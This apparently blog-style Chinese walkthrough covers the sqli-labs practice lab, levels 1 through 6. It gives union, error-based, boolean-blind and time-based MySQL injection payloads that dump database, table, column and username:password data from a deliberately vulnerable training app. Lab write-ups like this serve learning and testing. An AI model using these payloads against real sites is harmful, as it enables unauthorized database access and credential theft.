搭建環境
資料庫使用docker的 mysql:5.6 (因為比較乾淨,沒有其他項目的庫干擾),新建庫security,導入sqli-labs下的 sql-lab.sql
因為windows文件大小寫不敏感,而 sqli-labs 的Less-24/Logged-in.php + Less-24/logged-in.php 和 Less-40/Logged-in.php + Less-40/logged-in.php 大小寫敏感,導致git pull下來在windows上會有文件衝突
準備工具
HackBar
使用chrome的插件 HackBar
Burp Suite Community Edition
sqlmap
sqli-labs
Less-1
聯合盲注
注意:id=不正確的值
爆庫payload
?id=-1' union select 1,2,database() --+
得到庫名 security
--+ 是為了註解掉程式後面拼接的SQL
爆表payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
發現 emails,referers,uagents,users 表
使用 column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS') 避免查到 performance_schema 庫的內容
爆列(字段)payload
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS') --+
發現users表字段id,username,password
爆值payload
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x 是16進位符號,3a是10進位的58。代表的是: 在 ascii,用於分開用戶名和密碼
報錯盲注
檢查注入點payload
?id=1' and 1=1--+ //correct ?id=1' and 1=2--+ //Fail
注意:id=正確的值
爆表payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
輸出內容:XPATH syntax error: '~emails,referers,uagents,users'
0x7e 就是 ~
爆列(字段)payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS')))) --+
輸出內容:XPATH syntax error: '~id,username,password'
爆值payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
輸出內容:XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
使用where條件:username not in ('Dumb','Angelina') 顯示其他資料內容?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+
輸出內容:XPATH syntax error: '~Dummy:p@ssword,secure:crappy,st'
布爾盲注
判斷數據庫第一個字母為 s
?id=1' and left(database(),1)>'r'--+ ?id=1' and left(database(),1)>'s'--+
?id=1' and left(database(),1)>'r'--+ 會顯示內容
?id=1' and left(database(),1)>'s'--+ 不會顯示內容
延時盲注
數據庫第一個字母的 ascii 碼為 115,即 s
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ 不會延遲
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ 會延遲5秒,且輸出無內容
sqlmap工具自動注入
略
Less-2
輸入單引號,根據報錯信息確定輸入的內容被原封不動的帶入到數據庫中。例如:
?id=-1' union select 1,2,database() --+
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union select 1,2,database() -- LIMIT 0,1' at line 1
也可叫做數字型注入,把第一題中id=1'後面的單引號去掉,其它保持不變就行了,不再重複Less-3
輸入單引號,根據報錯信息確定輸入的內容存放到一對單引號加圓括號中。例如:
?id=-1' union select 1,2,database() --+
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,database() -- ') LIMIT 0,1' at line 1
在第一題中id=1'的後面單引號加上),其它保持不變就行了,不再重複Less-4
輸入單引號,頁面無任何變化。例如:
?id=1' and 1=2--+
嘗試輸入雙引號,頁面報錯。例如:
?id=1" and 1=2--+
根據報錯信息判斷出輸入的內容被放到一對雙引號和圓括號中,腦補一下:select ... from ... where id=("1") ...。把第一題中id=1'後面的'換成")就可以了Less-5
使用延時盲注測試下
?id=1' and sleep(5)--+
發現注入點。下一個思路就是使用延時盲注依次序爆庫名長、庫名、表名、字段名、值。
生命很短,布爾盲注和延時盲注建議使用sqlmap去跑
事實上Less-5不能稱作盲注,因為他只輸出"You are in...........",當你真的盲注時沒有預期的輸出,你只能從瀏覽器加載頁面時判斷是否注入成功(請原諒我這麼計較這個專業術語)
延時手注
使用延時手注時,正確時頁面將會延遲,錯誤時不會。id不是重點,而且不用看頁面的輸出。
爆庫長
?id=1' and if(length(database())=8,sleep(5),1)--+
延遲了,所以庫名長度是8
爆庫名
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
延時了,所以庫名的第一個字是s。然後用同樣的方法找下一個字,直到找出left(database(),8)='security'
爆表名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
延時了,所以第二個表名的第一個字是r。然後用同樣的方法把所有表名找出來
ps. 取第一個表名時使用 limit 0,1, limit 1,1 是取第二個
爆字段
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' and TABLE_SCHEMA = database() limit 2,1),8)='password' ,sleep(5),1)--+
延時了,所以users表的第三個字段是password
爆值
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
使用id排序(order by id),是為了方便結果的一致性。注意:limit從0開始。最後發現users表的第一個username是dumb。因為MySQL是不區分大小寫的,所以你不知道是Dumb還是dumb
再重申一次,不要用手注做這些事,生命很短,使用sqlmap比較快
布爾手注
直接使用前面的
?id=1' and left(database(),1)>'r'--+ 會顯示內容
?id=1' and left(database(),1)>'s'--+ 不會顯示內容
然後用同樣的方法依次序爆庫名長、庫名、表名、字段名、值。
報錯注入(使用concat函數)
使用concat 聚合函數+ 注入查詢
同時使用group 和count,一部分的查詢會出錯。例如:
select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.tables group by a;
(有時候)輸出錯誤:Duplicate entry '5.6.511' for key 'group_key'爆庫名
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~security~1' for key 'group_key'
爆表名
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~referers~1' for key 'group_key'
爆字段
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' and TABLE_SCHEMA = database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~username~1' for key 'group_key'
爆值
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
(有時候)輸出內容:Duplicate entry '~I-kill-you[Angelina~0' for key 'group_key'
Less-6
把上一題的單引號換成雙引號即可
參考資料
https://github.com/Audi-1/sqli-labs Audi-1/sqli-labs
https://www.programmersought.com/article/27163855817/ sqli-lab tutorial-1-35 customs Writeup (主要)
https://www.sqlsec.com/2020/05/sqlilabs.html SQLI labs 靶场精简学习记录 (次要)
https://www.cnblogs.com/peterpan0707007/p/7620048.html 【总结】sqli-labs Less(1-35) 小结
https://www.freebuf.com/articles/web/160352.html 新手科普 | MySQL手工注入之基本注入流程
https://www.codenong.com/cs106170230/ 1-35关精选篇 - sqli-lab tutorial-1-35 customs Writeup的中文翻譯
沒有留言:
張貼留言